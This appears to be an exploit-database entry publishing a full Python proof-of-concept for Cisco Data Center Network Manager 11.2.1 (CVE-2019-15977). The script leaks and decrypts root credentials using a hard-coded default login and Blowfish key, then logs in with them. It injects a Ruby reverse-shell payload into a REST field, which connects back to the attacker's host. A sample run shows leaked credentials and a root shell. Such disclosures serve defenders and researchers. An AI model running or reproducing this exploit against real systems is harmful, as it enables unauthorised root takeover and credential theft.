Cisco Data Center Network Manager 11.2.1 - 'LanFabricImpl' Command Injection

2020-02-06
ID: 102583
CVE: None
Download vulnerable application: None
# Exploit: 
# Author: mr_me
# Date: 2020-02-05
# Vendor: www.cisco.com
# CVE: CVE-2019-15977

#!/usr/bin/python
"""
Cisco Data Center Network Manager LanFabricImpl createLanFabric Command Injection Remote Code Execution Vulnerability

Tested on: Cisco DCNM 11.2.1 ISO Virtual Appliance for VMWare, KVM and Bare-metal servers
- Release: 11.2(1)
- Release Date: 05-Jun-2019
- FileName: dcnm-va.11.2.1.iso.zip
- Size: 4473.54 MB (4690850167 bytes)
- MD5 Checksum: b1bba467035a8b41c63802ce8666b7bb 

Bug 1: CVE-2019-15977 / ZDI-20-012
Bug 2: CVE-2019-15977 / ZDI-20-013
Bug 3: CVE-2019-15978 / ZDI-20-102

Example:
========

saturn:~ mr_me$ ./poc.py 
(+) usage: ./poc.py <target> <connectback:port>
(+) eg: ./poc.py 192.168.100.123 192.168.100.59
(+) eg: ./poc.py 192.168.100.123 192.168.100.59:1337

saturn:~ mr_me$ ./poc.py 192.168.100.123 192.168.100.59:1337
(+) leaked user: root
(+) leaked pass: Dcnmpass123
(+) leaked vfs path: temp18206a94b7c45072/content-85ba056e1faec012
(+) created a root session!
(+) starting handler on port 1337
(+) connection from 192.168.100.123
(+) pop thy shell!
id
uid=0(root) gid=0(root) groups=0(root)
uname -a
Linux localhost 3.10.0-957.10.1.el7.x86_64 #1 SMP Mon Mar 18 15:06:45 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
"""

import re
import sys
import random
import socket
import string
import requests
import telnetlib
from threading import Thread
from Crypto.Cipher import Blowfish
from requests.auth import HTTPBasicAuth
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

def handler(lp):
    print "(+) starting handler on port %d" % lp
    t = telnetlib.Telnet()
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.bind(("0.0.0.0", lp))
    s.listen(1)
    conn, addr = s.accept()
    print  "(+) connection from %s" % addr[0]
    t.sock = conn
    print "(+) pop thy shell!"
    t.interact()

def exec_code(t, lp, s):
    handlerthr = Thread(target=handler, args=(lp,))
    handlerthr.start()
    c = { "JSESSIONID" : sessionid }
    r = requests.get("https://%s/%s" % (t, s), cookies=c, verify=False)

def random_string(string_length = 8):
    """ generate a random string of fixed length """
    letters = string.ascii_lowercase
    return ''.join(random.choice(letters) for i in range(string_length))

def decrypt(key):
    """ decrypt the leaked password """
    cipher = Blowfish.new("jaas is the way", Blowfish.MODE_ECB)
    msg = cipher.decrypt(key.decode("hex"))
    return msg

def we_can_leak(target):
    """ used to bypass auth """
    global dbuser, dbpass, vfspth, jdbc, rootuser, rootpass
    dbuser = None
    dbpass = None 
    vfspth = None
    rootuser = None
    rootpass = None
    jdbc = None
    uri = 'https://%s/serverinfo/HtmlAdaptor?action=displayServerInfos' % target
    c = HTTPBasicAuth('admin', 'nbv_12345')
    r = requests.get(uri, verify=False, auth=c)
    leaked = r.text
    match = re.search("db.password = #(.*)", leaked)
    if match:
        dbpass = match.group(1)
    match = re.search("db.user = (.*)", leaked)
    if match:
        dbuser = match.group(1)
    match = re.search("dcnmweb = (.*)", leaked)
    if match:
        vfspth = match.group(1)
    match = re.search("db.url = (.*)", leaked)
    if match:
        jdbc = match.group(1)
    match = re.search("server.sftp.password = #(.*)", leaked)
    if match:
        rootpass = match.group(1)
    match = re.search("server.sftp.username = (.*)", leaked)
    if match:
        rootuser = match.group(1)
    if dbuser and dbpass and vfspth and jdbc and rootuser and rootpass:
        return True
    return False

def we_can_login(target, password):
    """ we have bypassed auth at this point by leaking the creds """
    global sessionid, resttoken
    d = {
        "j_username" : rootuser,
        "j_password" : password,
    }
    uri = "https://%s/j_spring_security_check" % target
    r = requests.post(uri, data=d, verify=False, allow_redirects=False)
    if "Set-Cookie" in r.headers:
        match = re.search(r"JSESSIONID=(.{56}).*resttoken=(\d{1,3}:.{44});", r.headers["Set-Cookie"])
        if match:
            sessionid = match.group(1)
            resttoken = match.group(2)
            return True
    return False

def pop_a_root_shell(t, ls, lp):
    """ get dat shell! """
    handlerthr = Thread(target=handler, args=(lp,))
    handlerthr.start()
    uri = "https://%s/rest/fabrics" % t
    cmdi  = "%s\";'`{ruby,-rsocket,-e'c=TCPSocket.new(\"%s\",\"%d\");" % (random_string(), ls, lp)
    cmdi += "while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print(io.read)}end'}`'\""
    j = { 
        "name" : cmdi,

        # this is needed to pass validate() on line 149 of the LanFabricImpl class
        "generalSetting" : {
            "asn" : "1337",
            "provisionOption" : "Manual"
        }, 
        "provisionSetting" : {
            "dhcpSetting": {
                "primarySubnet" : "127.0.0.1",
                "primaryDNS" : "127.0.0.1",
                "secondaryDNS" : "127.0.0.1"
            },
            "ldapSetting" : {
                "server" : "127.0.0.1"
            },
            "amqpSetting" : {
                "server" : "127.0.0.1:1337"
            }
        }
    }
    c = { "resttoken": resttoken }
    r = requests.post(uri, json=j, cookies=c, verify=False)
    if r.status_code == 200 and ls in r.text:
        return True
    return False

def main():
    if len(sys.argv) != 3:
        print "(+) usage: %s <target> <connectback:port>" % sys.argv[0]
        print "(+) eg: %s 192.168.100.123 192.168.100.59" % sys.argv[0]
        print "(+) eg: %s 192.168.100.123 192.168.100.59:1337" % sys.argv[0]
        sys.exit(1)
    t = sys.argv[1]
    cb = sys.argv[2]
    if not ":" in cb:
        print "(+) using default connectback port 4444"
        ls = cb
        lp = 4444
    else:
        if not cb.split(":")[1].isdigit():
            print "(-) %s is not a port number!" % cb.split(":")[1]
            sys.exit(-1)
        ls = cb.split(":")[0]
        lp = int(cb.split(":")[1])

    # stage 1 - leak the creds
    if we_can_leak(t):
        pwd = re.sub(r'[^\x20-\x7F]+','', decrypt(rootpass))
        print "(+) leaked user: %s" % rootuser
        print "(+) leaked pass: %s" % pwd
        print "(+) leaked vfs path: %s" % "/".join(vfspth.split("/")[10:])

        # stage 2 - get a valid sesson
        if we_can_login(t, pwd):
            print "(+) created a root session!"

            # stage 3 - get a root shell via cmdi
            pop_a_root_shell(t, ls, lp)

if __name__ == "__main__":
    main()
1-4-2 (www01)